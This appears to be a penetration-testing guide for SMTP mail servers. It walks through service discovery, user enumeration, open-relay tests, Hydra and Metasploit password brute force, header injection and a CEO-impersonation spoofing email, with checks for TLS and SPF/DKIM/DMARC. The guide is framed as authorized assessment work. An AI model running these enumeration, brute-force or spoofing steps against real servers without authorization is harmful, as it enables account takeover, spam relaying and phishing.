SMTP Penetration Testing

Purpose

Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.

Prerequisites

Required Tools

# Nmap with SMTP scripts
sudo apt-get install nmap

# Netcat
sudo apt-get install netcat

# Hydra for brute force
sudo apt-get install hydra

# SMTP user enumeration tool
sudo apt-get install smtp-user-enum

# Metasploit Framework
msfconsole

Required Knowledge

• SMTP protocol fundamentals
• Email architecture (MTA, MDA, MUA)
• DNS and MX records
• Network protocols

Required Access

• Target SMTP server IP/hostname
• Written authorization for testing
• Wordlists for enumeration and brute force

Outputs and Deliverables

1. SMTP Security Assessment Report - Comprehensive vulnerability findings
2. User Enumeration Results - Valid email addresses discovered
3. Relay Test Results - Open relay status and exploitation potential
4. Remediation Recommendations - Security hardening guidance

Core Workflow

Phase 1: SMTP Architecture Understanding

Components: MTA (transfer) → MDA (delivery) → MUA (client)

Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)

Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA

Phase 2: SMTP Service Discovery

Identify SMTP servers and versions:

# Discover SMTP ports
nmap -p 25,465,587,2525 -sV TARGET_IP

# Aggressive service detection
nmap -sV -sC -p 25 TARGET_IP

# SMTP-specific scripts
nmap --script=smtp-* -p 25 TARGET_IP

# Discover MX records for domain
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com

Phase 3: Banner Grabbing

Retrieve SMTP server information:

# Using Telnet
telnet TARGET_IP 25
# Response: 220 mail.target.com ESMTP Postfix

# Using Netcat
nc TARGET_IP 25
# Response: 220 mail.target.com ESMTP

# Using Nmap
nmap -sV -p 25 TARGET_IP
# Version detection extracts banner info

# Manual SMTP commands
EHLO test
# Response reveals supported extensions

Parse banner information:

Banner reveals:
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)

Phase 4: SMTP Command Enumeration

Test available SMTP commands:

# Connect and test commands
nc TARGET_IP 25

# Initial greeting
EHLO attacker.com

# Response shows capabilities:
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN

Key commands to test:

# VRFY - Verify user exists
VRFY admin
250 2.1.5 [email protected]

# EXPN - Expand mailing list
EXPN staff
250 2.1.5 [email protected]
250 2.1.5 [email protected]

# RCPT TO - Recipient verification
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
# 250 OK = user exists
# 550 = user doesn't exist

Phase 5: User Enumeration

Enumerate valid email addresses:

# Using smtp-user-enum with VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP

# Using EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP

# Using RCPT method
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP

# Specify port and domain
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com

Using Metasploit:

use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run

Using Nmap:

# SMTP user enumeration script
nmap --script smtp-enum-users -p 25 TARGET_IP

# With custom user list
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP

Phase 6: Open Relay Testing

Test for unauthorized email relay:

# Using Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP

# Manual testing via Telnet
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: Relay Test
This is a test.
.
QUIT

# If accepted (250 OK), server is open relay

Using Metasploit:

use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run

Test variations:

# Test different sender/recipient combinations
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<[email protected]>

RCPT TO:<[email protected]>
RCPT TO:<"[email protected]">
RCPT TO:<test%[email protected]>

Phase 7: Brute Force Authentication

Test for weak SMTP credentials:

# Using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP

# With specific port and SSL
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp

# Multiple users
hydra -L users.txt -P passwords.txt TARGET_IP smtp

# Verbose output
hydra -l admin -P passwords.txt smtp://TARGET_IP -V

Using Medusa:

medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp

Using Metasploit:

use auxiliary/scanner/smtp/smtp_login
set RHOSTS TARGET_IP
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set VERBOSE true
run

Phase 8: SMTP Command Injection

Test for command injection vulnerabilities:

# Header injection test
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: Test
Bcc: [email protected]
X-Injected: malicious-header

Injected content
.

Email spoofing test:

# Spoofed sender (tests SPF/DKIM protection)
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
From: CEO <[email protected]>
Subject: Urgent Request
Please process this request immediately.
.

Phase 9: TLS/SSL Security Testing

Test encryption configuration:

# STARTTLS support check
openssl s_client -connect TARGET_IP:25 -starttls smtp

# Direct SSL (port 465)
openssl s_client -connect TARGET_IP:465

# Cipher enumeration
nmap --script ssl-enum-ciphers -p 25 TARGET_IP

Phase 10: SPF, DKIM, DMARC Analysis

Check email authentication records:

# SPF/DKIM/DMARC record lookups
dig TXT target.com | grep spf            # SPF
dig TXT selector._domainkey.target.com    # DKIM
dig TXT _dmarc.target.com                 # DMARC

# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral

Quick Reference

Essential SMTP Commands

Command	Purpose	Example
HELO	Identify client	HELO client.com
EHLO	Extended HELO	EHLO client.com
MAIL FROM	Set sender	MAIL FROM:<[email protected]>
RCPT TO	Set recipient	RCPT TO:<[email protected]>
DATA	Start message body	DATA
VRFY	Verify user	VRFY admin
EXPN	Expand alias	EXPN staff
QUIT	End session	QUIT

SMTP Response Codes

Code	Meaning
220	Service ready
221	Closing connection
250	OK / Requested action completed
354	Start mail input
421	Service not available
450	Mailbox unavailable
550	User unknown / Mailbox not found
553	Mailbox name not allowed

Enumeration Tool Commands

Tool	Command
smtp-user-enum	smtp-user-enum -M VRFY -U users.txt -t IP
Nmap	nmap --script smtp-enum-users -p 25 IP
Metasploit	use auxiliary/scanner/smtp/smtp_enum
Netcat	nc IP 25 then manual commands

Common Vulnerabilities

Vulnerability	Risk	Test Method
Open Relay	High	Relay test with external recipient
User Enumeration	Medium	VRFY/EXPN/RCPT commands
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